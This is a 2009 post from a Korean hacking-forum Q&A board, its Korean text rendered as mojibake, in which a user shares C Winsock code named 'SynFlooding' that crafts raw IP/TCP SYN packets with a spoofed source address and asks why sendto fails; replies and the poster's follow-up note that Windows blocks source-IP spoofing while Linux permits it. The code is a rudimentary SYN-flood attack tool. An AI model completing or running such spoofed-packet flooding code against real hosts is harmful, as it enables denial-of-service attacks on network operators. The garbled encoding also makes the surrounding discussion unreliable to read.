ÇÁ·Î±×·¡¹Ö

 3204, 1/161 ȸ¿ø°¡ÀÔ  ·Î±×ÀΠ 
   commio
   [re] ¼ÒÄÏÇÃ¹Ö WSAEINTR 10004 ¿¡·¯ Äڵ忡¿è

http://www.hackerschool.org/HS_Boards/zboard.php?id=QNA_programming&no=2123 [º¹»ç]


#include <Winsock2.h>
#include <Ws2tcpip.h>
#include <stdio.h>
#include <conio.h>
#include "SynFlooding.h"

unsigned char packet[40];
unsigned char test[] = {0x45,0x00,0x00,0x28,0x64,0x7a,0x00,0x00,0x80,0xff,0xd8,0x74,0xc0,0xa8,0x00,0x1c,0xc0,0xa8,0x7b,0x7b};
SOCKET hSock;

BOOL MakePacket(char *_ip, short _port);

int main()
{
        char ip[] = "192.168.123.123";
        short port = 8282;
//        printf("Insert IP_ADDR      : ");
//        scanf("%s",ip);
//        printf("Insert PORT_NUM   : ");
//        scanf("%d",&port);
//        printf("Insert ATTACK_NUM: ");
//        scanf("%d",&attack_num);
//        printf("Insert USED_THREAD: ");
//        scanf("%d",&thread_num);
//        printf("ATTACK IP is %s , PORT is %d \n",ip,port);

        MakePacket(ip,port);

//        getch();

        WSADATA wsaData;
        if( WSAStartup( MAKEWORD( 2,2), &wsaData ) != 0 )
        {
                puts("Initrize Error");
                getch();
                exit(1);
        }

        hSock = socket( AF_INET, SOCK_RAW, IPPROTO_RAW);
        if ( INVALID_SOCKET == hSock ){
                printf("SOCKET ERROR : %u\n",WSAGetLastError());
                WSACleanup();
                getch();
                exit(1);
        }
        DWORD Opt = 1;
                SOCKADDR_IN addr;
        memset( &addr, 0,sizeof(SOCKADDR_IN));
        addr.sin_addr.s_addr = inet_addr( ip );
        addr.sin_family = AF_INET;
        addr.sin_port = htons( port );

        
        if( 0  != setsockopt(hSock, IPPROTO_IP, IP_HDRINCL, (char*)&Opt,sizeof(Opt))){
                printf("SETSOCKET ERROR! : %u\n",WSAGetLastError());
                WSACleanup();
                getch();
                exit(1);
        }

        if( SOCKET_ERROR  == sendto(hSock ,(char*)test,sizeof(test)+20, 0, (SOCKADDR*) &addr, sizeof(addr)) ){
                printf("SENDTO ERROR : %u\n",WSAGetLastError());
                if( hSock == NULL ) printf("!!!\n");
                WSACleanup();
                getch();
                exit(1);
        }
        if( SOCKET_ERROR  == sendto(hSock ,(char*)packet,sizeof(packet), 0, (SOCKADDR*) &addr, sizeof(addr)) ){
                printf("SENDTO ERROR : %u\n",WSAGetLastError());
                if( hSock == NULL ) printf("!!!\n");
                WSACleanup();
                getch();
                exit(1);
        }
        getch();
        return 0;
}

BOOL MakePacket(char *_ip, short _port)
{
        memset( packet, 0, 40 );
        IP_HEAD *IP = ( IP_HEAD* )packet;

        IP->Version = 4;
        IP->IHL = 5;
        IP->TL = htons( 40 );
        IP->Sort = htons( 25722 );
        IP->TTL = 128;
        IP->Protocol = 6;
        IP->Check = 299;

        IP->destination_ip = inet_addr( _ip );
        IP->start_ip = inet_addr( "192.168.0.28" );

        TCP_HEAD *TCP = ( TCP_HEAD* ) ( packet + 20 );

        TCP->start_port = htons( _port );
        TCP->destination_port = htons( _port );
        TCP->Sequence = htonl( 82828282 );
        TCP->AckNum = htonl( 58585858 );
        TCP->Offset = 5;
        TCP->SYN = 1;
        TCP->Window = htons( 512 );

        TCP->check = 1;
        return 0;
}
ÀÌÁ¦ main ºÎºÐÀÌ°í¿ä, SynFlooding.h´Â

struct IP_HEAD{
        unsigned char IHL                :        4;
        unsigned char Version        :        4;
        unsigned char TOS                :        8;
        unsigned short TL                :        16;
        unsigned short Sort                :        16;
        unsigned short Flag                :        3;
        unsigned short Offset        :        13;
        unsigned char TTL                :        8;
        unsigned char Protocol        :        8;
        unsigned short Check        :        16;
        unsigned long start_ip        :        32;
        unsigned long destination_ip: 32;
};
struct TCP_HEAD{
        unsigned short start_port;
        unsigned short destination_port;
        unsigned long Sequence;
        unsigned long AckNum;
        unsigned short Offset        :        4;
        unsigned short Reserved        :        6;
        unsigned char URG        :        1;
        unsigned char ACK        :        1;
        unsigned char PSH        :        1;
        unsigned char RST        :        1;
        unsigned char SYN        :        1;
        unsigned char FIN        :        1;
        unsigned short Window;
        unsigned short check;
        unsigned short emergency;
};

ÀÌ°Å¿¡¿ä - _-;;
Å×½ºÆ® ÇÑ´Ù°í Äڵ尡 Á» ¾û¸ÁÀ̱â´ÂÇØ¿ä;;

±×¸®°í test´Â ¾Æ¹«¹®Á¦¾ø´Â( ¾à°£ÀÇ ¹®Á¦´Â ÀÖÁö¸¸ ) ±×³É ÆÐŶÇϳª¸¦ ºÙÀâ¾Æ¼­ ¹ÙÀÌÆ® ´ÜÀ§·Î Àû¾î³õÀº°Å¿¡¿ä;

IP->Protocol = 6; ( IP 6¹øÀÌÁÒ... 8¹ø EGP´Â µÇ°í... 6Àº¾ÈµÇ°í... ÀÌ»óÇÔ ¤Ð_¤Ð )

  Hit : 5598     Date : 2009/09/06 02:11



    
commio TCP Çì´õ¶û IPÇì´õ... ´©°¡ Á¤ÀÇÇسõÀº°Å ¾ø³ª¿ä- _-?
Á¦°¡ ¸¸µé¾î¾µ¶ó´Ï... ±ÍÂú°í... º¸±â ¾ÊÁÁ°í... ºÒ¾ÈÇÏ°í...¤Ð¤Ð
2009/09/06  
k1rha ¹«½¼¹®Á¦ÀÎÁö ¾Ë°Ú½¿´Ù! ±×¸®°í ¹»µå·Á¾ßµÉÁöµµ ¾Ë°Ú±¸¿ä.

ºñ½ºÆ®ÂÊ¿¡¼­ ¾´ ÆÐŶ½º´ÏÇÎ Äڵ尡 ÀÖ¾ú´Âµ¥.. ÆÐŶ±¸µµ ºÐ¼®Çϱ⵵ ÁÁ°í, ±¸Á¶ÆÄÇÐÇϱ⠵üÀε¥..

Â͸¸±â´Þ·Áº¸¼¼¿ä ã¾Æº¸°Ú½À´Ï´Ù ¤»
2009/09/06  
k1rha ã¾Ò³×¿ä ¤»

µµ¿òÀÌ µÇ½Ã±æº÷´Ï´Ù ¤¾
<a href=http://beist.org/research/public/p_sniff/index.html target=_blank>http://beist.org/research/public/p_sniff/index.html</a>
607¹ø¿¡¼­ ¿¡·¯°¡ ¶°¼­ ¹º°¡ ÇÏ°íºÃ´õ´Ï PACKET À̶ó´Â ºÎºÐ¿¡¼­ ÇѱÛÀÚ°¡ ºüÁ®¼­ ¿¡·¯°¡ÀÖ½¿´Ù
ÄÄÆÄÀÏÇҽà ¼öÁ¤Çؼ­ Çϼ¼¿ä ¤¾
2009/09/06  
commio - _¤Ì... ÀÌ°Ô ¾Æ´Ñµ¥¿ä ¤Ð¤Ð
¿Ö sendto¿¡¼­ ¿¡·¯°¡ ¶ß´ÂÁö ¸ð¸£°Ú¾î¿ä... Çì´õ°¡ À߸øµÈ°Íµµ¾Æ´Ñµ¥;;
2009/09/06  
k1rha ÂÊÁöÈ®ÀÎÇØÁÖ¼¼¿ë ¤Ð¤Ð 2009/09/06  
commio ¸®´ª½º À©µµ µÑ´Ù ¾ÈµÇ´Â.........................................¤Ð_¤Ð 2009/09/06  
commio 3Àϵ¿¾È... ¹ã»õ¿ö°¡¸é¼­ °í»ýÇÑ °á°ú....
¿øµµ¿ì¿¡¼­´Â ·Î¿ì¼ÒÄÏÀº ÀÇ¹Ì ¾ø´Â°Å°°¾Æ¿ä...
ÀÚ½ÅÀÇ IPÁÖ¼Ò¿Í ´Ù¸¥ IP·Î source ip ¸¦ ÁöÁ¤ÇÒ °æ¿ì ¿øµµ¿ì Ä¿³Î¼öÁØ¿¡¼­ ÆÐŶ»ý¼º Áß°£¿¡ Â÷´ÜÇعö¸®´Â°Å°°³×¿ä ¤Ð¤Ð
¸®´ª½º¿¡¼­´Â °¡´ÉÇÏ°í..... Èì... Àú Â÷´ÜÀ» ¸·´Â ¹æ¹ýÀÌ ÀÖÀ»°Å°°Àºµ¥...
¿µ¾î ¿ø¼­ Çؼ®Çϱ⿡´Â ·¹º§ ºÎÁ·ÀÌ¶ó¼­ ¤Ð¤Ð
2009/09/07  
3204   Ä¡Æ®¿£Áø °í¼öºÐ °è½Ç±î¿ä[1]     rjsdudals123
02/15 213
3203   ¿À·ù Á» ã¾ÆÁÖ¼¼¿ä [1]     marunim
05/30 950
3202   c¾ð¾î segmentation fault:11 ¿À·ù Áú¹®µå¸³´Ï´Ù![2]     leebk1124
05/21 2028
3201   C++ÇÔ¼ö°ü·Ã Áú¹®ÀÌ¿¡¿ë!![3]     1999dylee
05/11 1858
3200   ÆÄÀ̽ã Áö¹® µå¸³´Ï´Ù.[1]     kksh1107
04/24 1598
3199   ¸®¹ö½ÌÀÇ ¼¼¹ø¤Š ²É - ¿ª¶û-     nninni79
04/20 2300
3198   ´Þ°í³ª ¹®¼­ ½©ÄÚµå[1]     ghjk645
03/24 1620
3197 ºñ¹Ð±ÛÀÔ´Ï´Ù  c¾ð¾î ¼Ò¼ö °ª     adwefq
04/29 1
3196   C¾ð¾î ¼Ò½ºÁú¹®ÀÔ´Ï´Ù![5]     an0088
01/05 5170
3195   C++ /// ºôµå ¿¡·¯ ¤Ð¤Ð[1]     guichanta
08/23 2406
3194 ºñ¹Ð±ÛÀÔ´Ï´Ù  c¾ð¾î µµ¿ÍÁÖ¼¼¿ä¤Ð¤Ð     su6339
04/06 0
3193   ÇØÅ·À» ¹è¿ì·Á°íÇϴµ¥[3]     zoodem04
03/26 4186
3192   c¾ð¾î¸¦ ¹è¿ì°í½Í¾î¿ä ![7]     dwc07238
02/11 4088
3191   ½ºÅÃÀÌ ½×ÀÌ´Â ¹æÇâ¿¡ °üÇؼ­!![1]     hackxx123
12/10 3534
3190   ÇØÅ·Åø¿¡¼­ ip ¾øÀÌ Çϵ忡 ½É´Â°Å¿¡´Â ¾î¶²°Ô ÀÖÀ»±î¿ä?[2]     aowlrgmlals
11/27 4313
3189   C¾ð¾î Çϴµ¥ double ½Ç¼ö¸¦ ³ÖÀºµ¥ ÀÚ²Ù 0.0ÀÌ ³ª¿Í¿ä[2]     fatou10336
11/20 3773
3188   dumpcode.h ÀÌÇØÁ» µµ¿ÍÁÖ¼¼¿ä .[1]     cm6418
11/06 3743
3187   c¾ð¾î ¾Ë°í¸®Áò Áú¹®ÀÔ´Ï´Ù.[3]     alstn8150
10/12 3761
3186     [re] c¾ð¾î ¾Ë°í¸®Áò Áú¹®ÀÔ´Ï´Ù.     dafher
05/13 1597
3185   c¾ð¾î ¼Ò½º Áú¹® ¹¹°¡ ¹®Á¦ÀÎÁö¤Ì¤Ì¤Ì¤Ì[2]     sjjh96
05/23 4301
1 [2][3][4][5][6][7][8][9][10]..[161]

Copyright 1999-2024 Zeroboard / skin by Hackerschool.org / Secure Patch by Hackerschool.org